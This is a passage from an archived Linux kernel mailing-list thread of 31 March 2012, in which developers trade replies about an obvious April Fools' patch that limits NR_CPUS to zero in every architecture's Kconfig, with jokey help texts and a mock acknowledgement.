- =C2=A0 =C2=A0 =C2=A0 range 2 512 if SMP &amp;&amp; !MAXSMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;1&quot; if !SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4096&quot; if MAXSMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot; if SMP &amp;&amp; (X86_NUMAQ =
|| X86_SUMMIT || X86_BIGSMP || X86_ES7000)<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;8&quot; if SMP<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if SMP &amp;&amp; X86_32 &amp;&amp; !X86_B=
IGSMP<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if SMP &amp;&amp; !MAXSMP<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if !SMP<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if MAXSMP<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if SMP &amp;&amp; (X86_NUMAQ |=
| X86_SUMMIT || X86_BIGSMP || X86_ES7000)<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0---help---<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 512 and the<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0minimum value which makes sense is 2.<br=
>
<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 approximately eight kilobytes to the kernel i=
mage.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 approximately eight kilobytes to the kernel i=
mage. =C2=A0But<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 the first supported CPU brings a lot of bugs =
with it, so<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 for ultimate reliability, set the number of C=
PUs to zero.<br>
<br>
=C2=A0config SCHED_SMT<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;SMT (Hyperthreading) scheduler suppo=
rt&quot;<br>
<br>
--<br>
To unsubscribe from this list: send the line &quot;unsubscribe linux-hexago=
n&quot; in<br>
the body of a message to <a href=3D"mailto:majordomo@vger.kernel.org">major=
domo@vger.kernel.org</a><br>
More majordomo info at =C2=A0<a href=3D"http://vger.kernel.org/majordomo-in=
fo.html" target=3D"_blank">http://vger.kernel.org/majordomo-info.html</a><b=
r>
</blockquote></div><br>

--f46d040713dd2d7cb504bc8f6081--



From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 13:14:22 -0700
Lines: 426
Approved: news@gmane.org
Message-ID: <20120331201422.GG2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <CAHrUA35Bz68DtP-Znr=-+U+6P9CONXzN=9JdMXRfRwmVV9fy=Q@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333224929 32316 80.91.229.3 (31 Mar 2012 20:15:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 20:15:29 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: Linas Vepstas <linasvepstas@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Mar 31 22:15:21 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1SE4hk-0008Sl-O8
	for glpi-linux-ia64-2@plane.gmane.org; Sat, 31 Mar 2012 22:15:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751823Ab2CaUPR (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sat, 31 Mar 2012 16:15:17 -0400
Original-Received: from e4.ny.us.ibm.com ([32.97.182.144]:35532 "EHLO e4.ny.us.ibm.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751888Ab2CaUPO (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Sat, 31 Mar 2012 16:15:14 -0400
Original-Received: from /spool/local
	by e4.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-ia64@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 16:15:13 -0400
Original-Received: from d01dlp01.pok.ibm.com (9.56.224.56)
	by e4.ny.us.ibm.com (192.168.1.104) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 16:14:37 -0400
Original-Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236])
	by d01dlp01.pok.ibm.com (Postfix) with ESMTP id 5E6CA38C8052;
	Sat, 31 Mar 2012 16:14:36 -0400 (EDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VKEaRR351836;
	Sat, 31 Mar 2012 16:14:36 -0400
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VKEXvo019300;
	Sat, 31 Mar 2012 14:14:35 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VKEVcq019272;
	Sat, 31 Mar 2012 14:14:32 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 143EDE4ABB; Sat, 31 Mar 2012 13:14:23 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAHrUA35Bz68DtP-Znr=-+U+6P9CONXzN=9JdMXRfRwmVV9fy=Q@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033120-3534-0000-0000-00000717E001
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22177 gmane.linux.kernel:1275950 gmane.linux.ports.alpha:1768 gmane.linux.ports.arm.kernel:159840 gmane.linux.hardware.blackfin.kernel.devel:6369 gmane.linux.ports.hexagon:411 gmane.linux.ports.mips.general:33944 gmane.linux.ports.parisc:4256 gmane.linux.ports.ppc64.devel:81354 gmane.linux.ports.sh.devel:14233 gmane.linux.ports.sparc:15993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22177>

On Sat, Mar 31, 2012 at 02:57:46PM -0500, Linas Vepstas wrote:
> Hi,
> 
> I didn't actually try to compile the patch below; it didn't look like C
> code so I wasn't sure what compiler to run it through.  I guess maybe its
> python?  However, I'm very sure that the patches are completely correct,
> because I read them, and I also know that Paul is a trustworthy programmer.
>  Thus, please add my ack
> 
> Ack'ed by: Linas Vepstas <linasvepstas@gmail.com>

It is Linux-kernel Kconfig language, which processed during kernel
builds.  I have added your Acked-by.  ;-)

							Thanx, Paul

> On 31 March 2012 11:33, Paul E. McKenney <paulmck@linux.vnet.ibm.com> wrote:
> 
> > Although there have been numerous complaints about the complexity of
> > parallel programming (especially over the past 5-10 years), the plain
> > truth is that the incremental complexity of parallel programming over
> > that of sequential programming is not as large as is commonly believed.
> > Despite that you might have heard, the mind-numbing complexity of modern
> > computer systems is not due so much to there being multiple CPUs, but
> > rather to there being any CPUs at all.  In short, for the ultimate in
> > computer-system simplicity, the optimal choice is NR_CPUS=0.
> >
> > This commit therefore limits kernel builds to zero CPUs.  This change
> > has the beneficial side effect of rendering all kernel bugs harmless.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not needed
> > when there are zero CPUs.
> >
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> > ---
> >
> >  alpha/Kconfig                     |   11 ++++++-----
> >  arm/Kconfig                       |    6 +++---
> >  blackfin/Kconfig                  |    3 ++-
> >  hexagon/Kconfig                   |    9 +++++----
> >  ia64/Kconfig                      |    9 +++++----
> >  m32r/Kconfig                      |   10 ++++++----
> >  mips/Kconfig                      |   21 +++++++++++----------
> >  mn10300/Kconfig                   |    3 ++-
> >  parisc/Kconfig                    |    6 +++---
> >  powerpc/platforms/Kconfig.cputype |    8 ++++----
> >  s390/Kconfig                      |   12 +++++++-----
> >  sh/Kconfig                        |   11 ++++++-----
> >  sparc/Kconfig                     |    8 ++++----
> >  tile/Kconfig                      |    9 +++++----
> >  x86/Kconfig                       |   16 +++++++++-------
> >  15 files changed, 78 insertions(+), 64 deletions(-)
> >
> > diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> > index 56a4df9..1766b4a 100644
> > --- a/arch/alpha/Kconfig
> > +++ b/arch/alpha/Kconfig
> > @@ -541,14 +541,15 @@ config HAVE_DEC_LOCK
> >        default y
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-32)"
> > -       range 2 32
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "32" if ALPHA_GENERIC || ALPHA_MARVEL
> > -       default "4" if !ALPHA_GENERIC && !ALPHA_MARVEL
> > +       default "0" if ALPHA_GENERIC || ALPHA_MARVEL
> > +       default "0" if !ALPHA_GENERIC && !ALPHA_MARVEL
> >        help
> >          MARVEL support can handle a maximum of 32 CPUs, all the others
> > -          with working support have a maximum of 4 CPUs.
> > +          with working support have a maximum of 4 CPUs.  But why take
> > +         chances?  Just stick with zero CPUs.
> >
> >  config ARCH_DISCONTIGMEM_ENABLE
> >        bool "Discontiguous Memory Support (EXPERIMENTAL)"
> > diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> > index a48aecc..1f07a3a 100644
> > --- a/arch/arm/Kconfig
> > +++ b/arch/arm/Kconfig
> > @@ -1551,10 +1551,10 @@ config PAGE_OFFSET
> >        default 0xC0000000
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-32)"
> > -       range 2 32
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "4"
> > +       default "0"
> >
> >  config HOTPLUG_CPU
> >        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> > diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
> > index abe5a9e..6a78549 100644
> > --- a/arch/blackfin/Kconfig
> > +++ b/arch/blackfin/Kconfig
> > @@ -241,7 +241,8 @@ config SMP
> >  config NR_CPUS
> >        int
> >        depends on SMP
> > -       default 2 if BF561
> > +       range 0 0
> > +       default 0 if BF561
> >
> >  config HOTPLUG_CPU
> >        bool "Support for hot-pluggable CPUs"
> > diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
> > index 9059e39..daab009 100644
> > --- a/arch/hexagon/Kconfig
> > +++ b/arch/hexagon/Kconfig
> > @@ -158,13 +158,14 @@ config SMP
> >
> >  config NR_CPUS
> >        int "Maximum number of CPUs" if SMP
> > -       range 2 6 if SMP
> > -       default "1" if !SMP
> > -       default "6" if SMP
> > +       range 0 0 if SMP
> > +       default "0" if !SMP
> > +       default "0" if SMP
> >        ---help---
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 6 and the
> > -         minimum value which makes sense is 2.
> > +         minimum value which makes sense is 2.  But a limit of zero is
> > +         so much safer!
> >
> >          This is purely to save memory - each supported CPU adds
> >          approximately eight kilobytes to the kernel image.
> > diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> > index bd72669..fea0e6d 100644
> > --- a/arch/ia64/Kconfig
> > +++ b/arch/ia64/Kconfig
> > @@ -373,16 +373,17 @@ config SMP
> >          If you don't know what to do here, say N.
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-4096)"
> > -       range 2 4096
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "4096"
> > +       default "0"
> >        help
> >          You should set this to the number of CPUs in your system, but
> >          keep in mind that a kernel compiled for, e.g., 2 CPUs will boot
> > but
> >          only use 2 CPUs on a >2 CPU system.  Setting this to a value
> > larger
> >          than 64 will cause the use of a CPU mask array, causing a small
> > -         performance hit.
> > +         performance hit.  And setting it larger than zero risks all
> > +         manner of software bugs, so we just play it safe.
> >
> >  config HOTPLUG_CPU
> >        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> > diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
> > index ef80a65..68b9e88 100644
> > --- a/arch/m32r/Kconfig
> > +++ b/arch/m32r/Kconfig
> > @@ -300,14 +300,16 @@ config CHIP_M32700_TS1
> >        default n
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-32)"
> > -       range 2 32
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "2"
> > +       default "0"
> >        help
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 32 and the
> > -         minimum value which makes sense is 2.
> > +         minimum value which makes sense is 2.  Zero may not make sense,
> > +         but given that there is much in this world that does not make
> > +         sense, zero it is!
> >
> >          This is purely to save memory - each supported CPU adds
> >          approximately eight kilobytes to the kernel image.
> > diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
> > index 5ab6e89..3d7d06c 100644
> > --- a/arch/mips/Kconfig
> > +++ b/arch/mips/Kconfig
> > @@ -2192,16 +2192,16 @@ config NR_CPUS_DEFAULT_64
> >        bool
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-64)"
> > -       range 1 64 if NR_CPUS_DEFAULT_1
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0 if NR_CPUS_DEFAULT_1
> >        depends on SMP
> > -       default "1" if NR_CPUS_DEFAULT_1
> > -       default "2" if NR_CPUS_DEFAULT_2
> > -       default "4" if NR_CPUS_DEFAULT_4
> > -       default "8" if NR_CPUS_DEFAULT_8
> > -       default "16" if NR_CPUS_DEFAULT_16
> > -       default "32" if NR_CPUS_DEFAULT_32
> > -       default "64" if NR_CPUS_DEFAULT_64
> > +       default "0" if NR_CPUS_DEFAULT_1
> > +       default "0" if NR_CPUS_DEFAULT_2
> > +       default "0" if NR_CPUS_DEFAULT_4
> > +       default "0" if NR_CPUS_DEFAULT_8
> > +       default "0" if NR_CPUS_DEFAULT_16
> > +       default "0" if NR_CPUS_DEFAULT_32
> > +       default "0" if NR_CPUS_DEFAULT_64
> >        help
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 32 for 32-bit
> > @@ -2212,7 +2212,8 @@ config NR_CPUS
> >          This is purely to save memory - each supported CPU adds
> >          approximately eight kilobytes to the kernel image.  For best
> >          performance should round up your number of processors to the next
> > -         power of two.
> > +         power of two.  And just think how much more memory we will
> > +         save by setting the limit to zero!
> >
> >  source "kernel/time/Kconfig"
> >
> > diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
> > index 8f1c40d..85fc112 100644
> > --- a/arch/mn10300/Kconfig
> > +++ b/arch/mn10300/Kconfig
> > @@ -201,7 +201,8 @@ config SMP
> >  config NR_CPUS
> >        int
> >        depends on SMP
> > -       default "2"
> > +       range 0 0
> > +       default "0"
> >
> >  source "kernel/Kconfig.preempt"
> >
> > diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> > index 242a1b7..358eaf8 100644
> > --- a/arch/parisc/Kconfig
> > +++ b/arch/parisc/Kconfig
> > @@ -254,10 +254,10 @@ config HPUX
> >        depends on !64BIT
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-32)"
> > -       range 2 32
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "32"
> > +       default "0"
> >
> >  endmenu
> >
> > diff --git a/arch/powerpc/platforms/Kconfig.cputype
> > b/arch/powerpc/platforms/Kconfig.cputype
> > index 425db18..5e607e0 100644
> > --- a/arch/powerpc/platforms/Kconfig.cputype
> > +++ b/arch/powerpc/platforms/Kconfig.cputype
> > @@ -356,11 +356,11 @@ config SMP
> >          If you don't know what to do here, say N.
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-8192)"
> > -       range 2 8192
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "32" if PPC64
> > -       default "4"
> > +       default "0" if PPC64
> > +       default "0"
> >
> >  config NOT_COHERENT_CACHE
> >        bool
> > diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> > index d172758..f9bc067 100644
> > --- a/arch/s390/Kconfig
> > +++ b/arch/s390/Kconfig
> > @@ -169,15 +169,17 @@ config SMP
> >          Even if you don't know what to do here, say Y.
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-64)"
> > -       range 2 64
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "32" if !64BIT
> > -       default "64" if 64BIT
> > +       default "0" if !64BIT
> > +       default "0" if 64BIT
> >        help
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 64 and the
> > -         minimum value which makes sense is 2.
> > +         minimum value which makes sense is 2.  The minimal value that
> > +         makes sense might well be 2, but we all know that the only
> > +         -sane- value is zero!
> >
> >          This is purely to save memory - each supported CPU adds
> >          approximately sixteen kilobytes to the kernel image.
> > diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
> > index 713fb58..5ddc7c0 100644
> > --- a/arch/sh/Kconfig
> > +++ b/arch/sh/Kconfig
> > @@ -705,18 +705,19 @@ config SMP
> >          If you don't know what to do here, say N.
> >
> >  config NR_CPUS
> > -       int "Maximum number of CPUs (2-32)"
> > -       range 2 32
> > +       int "Maximum number of CPUs (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "4" if CPU_SUBTYPE_SHX3
> > -       default "2"
> > +       default "0" if CPU_SUBTYPE_SHX3
> > +       default "0"
> >        help
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 32 and the
> >          minimum value which makes sense is 2.
> >
> >          This is purely to save memory - each supported CPU adds
> > -         approximately eight kilobytes to the kernel image.
> > +         approximately eight kilobytes to the kernel image.  Debloating
> > +         is the way, NR_CPUS to zero today!!!
> >
> >  config HOTPLUG_CPU
> >        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> > diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> > index ca5580e..0de9f0f 100644
> > --- a/arch/sparc/Kconfig
> > +++ b/arch/sparc/Kconfig
> > @@ -177,10 +177,10 @@ config SMP
> >  config NR_CPUS
> >        int "Maximum number of CPUs"
> >        depends on SMP
> > -       range 2 32 if SPARC32
> > -       range 2 1024 if SPARC64
> > -       default 32 if SPARC32
> > -       default 64 if SPARC64
> > +       range 0 0 if SPARC32
> > +       range 0 0 if SPARC64
> > +       default 0 if SPARC32
> > +       default 0 if SPARC64
> >
> >  source kernel/Kconfig.hz
> >
> > diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
> > index 11270ca..a05112c 100644
> > --- a/arch/tile/Kconfig
> > +++ b/arch/tile/Kconfig
> > @@ -126,14 +126,15 @@ source "init/Kconfig"
> >  menu "Tilera-specific configuration"
> >
> >  config NR_CPUS
> > -       int "Maximum number of tiles (2-255)"
> > -       range 2 255
> > +       int "Maximum number of tiles (0-0)"
> > +       range 0 0
> >        depends on SMP
> > -       default "64"
> > +       default "0"
> >        ---help---
> >          Building with 64 is the recommended value, but a slightly
> >          smaller kernel memory footprint results from using a smaller
> > -         value on chips with fewer tiles.
> > +         value on chips with fewer tiles.  To minimize both memory
> > +         footprint and bugs, use zero and only zero.
> >
> >  source "kernel/time/Kconfig"
> >
> > diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> > index 5bed94e..a6977f2 100644
> > --- a/arch/x86/Kconfig
> > +++ b/arch/x86/Kconfig
> > @@ -773,19 +773,21 @@ config MAXSMP
> >
> >  config NR_CPUS
> >        int "Maximum number of CPUs" if SMP && !MAXSMP
> > -       range 2 8 if SMP && X86_32 && !X86_BIGSMP
> > -       range 2 512 if SMP && !MAXSMP
> > -       default "1" if !SMP
> > -       default "4096" if MAXSMP
> > -       default "32" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP ||
> > X86_ES7000)
> > -       default "8" if SMP
> > +       range 0 0 if SMP && X86_32 && !X86_BIGSMP
> > +       range 0 0 if SMP && !MAXSMP
> > +       default "0" if !SMP
> > +       default "0" if MAXSMP
> > +       default "0" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP ||
> > X86_ES7000)
> > +       default "0" if SMP
> >        ---help---
> >          This allows you to specify the maximum number of CPUs which this
> >          kernel will support.  The maximum supported value is 512 and the
> >          minimum value which makes sense is 2.
> >
> >          This is purely to save memory - each supported CPU adds
> > -         approximately eight kilobytes to the kernel image.
> > +         approximately eight kilobytes to the kernel image.  But
> > +         the first supported CPU brings a lot of bugs with it, so
> > +         for ultimate reliability, set the number of CPUs to zero.
> >
> >  config SCHED_SMT
> >        bool "SMT (Hyperthreading) scheduler support"
> >
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-hexagon" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> >

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linas Vepstas <linasvepstas@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 15:15:00 -0500
Lines: 451
Approved: news@gmane.org
Message-ID: <20120331201500.GA27640@linas.org>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="rwEMma7ioTxnRzrJ"
X-Trace: dough.gmane.org 1333224946 32429 80.91.229.3 (31 Mar 2012 20:15:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 20:15:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Mar 31 22:15:39 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SE4i2-0000IO-P4
	for lnx-linux-alpha@plane.gmane.org; Sat, 31 Mar 2012 22:15:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752472Ab2CaUPe (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 31 Mar 2012 16:15:34 -0400
Original-Received: from mail-ob0-f174.google.com ([209.85.214.174]:37743 "EHLO
	mail-ob0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752374Ab2CaUPa (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 31 Mar 2012 16:15:30 -0400
Original-Received: by obbtb18 with SMTP id tb18so463467obb.19
        for <multiple recipients>; Sat, 31 Mar 2012 13:15:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=VT8+Ob8hbnBy3bgIUH2HVpt76dEGXfZMuvqpOj5mACI=;
        b=ZKXvWH1aYUxG6q4qjZxpLhFtF/UoAQditW2ZACFQ5r4jCFVFouUzhLXhpGaxt6N5SQ
         KVzY43uM8p8ptv7744S28JB3jTdHGILFwe9iyM6tEoPGu8XxbcGIIXOKuFxZRtY/lIRD
         CTwRMt4gjN/j1C/oBLOfjOHy1HjbPqEGndGSs6hbAjd4iTFWhZPk+FyAdES66avOPFt6
         ReulTnJPT0iVZJy9OH0GnMG8UBYCdBNPBtR/10h4zudY54o27ze9/6hfwds2fTdqSPTk
         2PeYaKF/ewPro6bU3pEX7lE/z2+Tg4Z09m4Gn52DAsc/6sOluNite9H9HdFXr0Iphdro
         qP8A==
Original-Received: by 10.182.134.97 with SMTP id pj1mr4135769obb.2.1333224928474;
        Sat, 31 Mar 2012 13:15:28 -0700 (PDT)
Original-Received: from linas.org (gnucash.org. [99.153.64.179])
        by mx.google.com with ESMTPS id il8sm13067731obc.18.2012.03.31.13.15.18
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 31 Mar 2012 13:15:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1769 gmane.linux.kernel:1275951 gmane.linux.ports.arm.kernel:159841 gmane.linux.hardware.blackfin.kernel.devel:6370 gmane.linux.ports.hexagon:412 gmane.linux.ports.ia64:22178 gmane.linux.ports.mips.general:33945 gmane.linux.ports.parisc:4257 gmane.linux.ports.ppc64.devel:81355 gmane.linux.ports.sh.devel:14234 gmane.linux.ports.sparc:15994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1769>


--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


Hi,

I didn't actually try to compile the patch below; it didn't look like
C code so I wasn't sure what compiler to run it through.  I guess maybe
its python?  However, I'm very sure that the patches are completely
correct, because I read them, and I also know Paul.  And I've heard of
Thomas Gleixner.

Thus, please add my ack --

Ack'ed by: Linas Vepstas <linasvepstas@gmail.com>


On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney was heard to rem=
ark:
> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believed.
